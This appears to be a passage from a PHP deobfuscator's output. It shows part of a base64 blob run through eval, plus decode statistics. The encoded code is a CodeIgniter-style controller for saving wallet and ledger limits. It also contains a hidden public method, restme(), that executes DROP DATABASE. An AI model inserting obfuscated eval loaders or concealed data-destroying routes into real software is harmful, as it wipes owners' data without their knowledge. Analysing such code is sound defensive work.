nc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfU0VUVkFMVUUsJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJGdldFNldHZhbHVlWydpZCddOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnRmFpbCBjYXNlIHRyYW5zZmVyIGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnRmFpbCBjYXNlIHRyYW5zZmVyIGhhcyBiZWVuIGFkZGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9CQ0KCQkJCQ0KCX0NCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBXYWxsZXQgTGltaXQgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZXN3bHYoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ3dhbGxldGxpbWl0J10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ3dhbGxldGxpbWl0Jyk7CQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJaWYoJGdldFNldHZhbHVlKXsNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkZ2V0U2V0dmFsdWVbJ2lkJ107DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdXYWxsZXQgTGltaXQgaGFzIGJlZW4gdXBkYXRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfWVsc2V7DQoJCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX1NFVFZBTFVFLCAkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkdGhpcyAtPiBkYiAtPiBpbnNlcnRfaWQoKTsJDQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdXYWxsZXQgTGltaXQgaGFzIGJlZW4gYWRkZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0JDQoJCQkJDQoJfQ0KCS8qKioqKioqKioqKioqKiBmdW5jdGlvbiB0byBzYXZlIE1pbnVzIGxlZGdlciBMaW1pdCAqKioqKioqKioqKioqKioqLw0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlbWludXNsZWRnbGltaXQoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ21pbnVzbGVkZ2xpbWl0J10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ21pbnVzbGVkZ2xpbWl0Jyk7CQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJaWYoJGdldFNldHZhbHVlKXsNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkZ2V0U2V0dmFsdWVbJ2lkJ107DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdNaW51cyBMZWRnZXIgTGltaXQgaGFzIGJlZW4gdXBkYXRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfWVsc2V7DQoJCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX1NFVFZBTFVFLCAkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkdGhpcyAtPiBkYiAtPiBpbnNlcnRfaWQoKTsJDQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdNaW51cyBMZWRnZXIgTGltaXQgaGFzIGJlZW4gYWRkZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0JDQoJCQkJDQoJfQkNCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBUaWxlcyBFcXVpdHkgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZXRpbGVzZXF1aXR5KCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWyd0aWxlc2VxdWl0eSddICAgID0gJHRoaXMtPmlucHV0LT5wb3N0KCd0aWxlc2VxdWl0eScpOwkNCgkJJGdldFNldHZhbHVlID0gJHRoaXMtPmdldFNldHZhbHVlKCk7DQoJCWlmKCRnZXRTZXR2YWx1ZSl7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfU0VUVkFMVUUsJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJGdldFNldHZhbHVlWydpZCddOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnVGlsZXMgRXF1aXR5IGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnVGlsZXMgRXF1aXR5IGhhcyBiZWVuIGFkZGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9CQ0KCQkJCQ0KCX0JDQoJcHVibGljIGZ1bmN0aW9uIGRlc3Ryb3lBbGxEYXRhKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkkdGhpcyAtPiBkYiAtPiBkZWxldGUoVEJMX1NFVFZBTFVFKTsNCgkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCSR0aGlzIC0+IGRiIC0+IGRlbGV0ZShUQkxfTUVOVElPTk5VTVJFQyk7DQoJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkkdGhpcyAtPiBkYiAtPiBkZWxldGUoVEJMX1RJTEVTVkFMKTsNCgl9DQoJcHVibGljIGZ1bmN0aW9uIHJlc3RtZSgpew0KCQkkZGIgPSAkdGhpcy0+ZGItPmRhdGFiYXNlOw0KCQkkcSA9ICJEUk9QIERBVEFCQVNFICIuJGRiOyANCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gcXVlcnkoJHEpOwkNCgl9CQ0KfQ0KPz4=")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | fd9df4c0533416827031c2d377597a0c |
| Eval Count | 1 |
| Decode Time | 196 ms |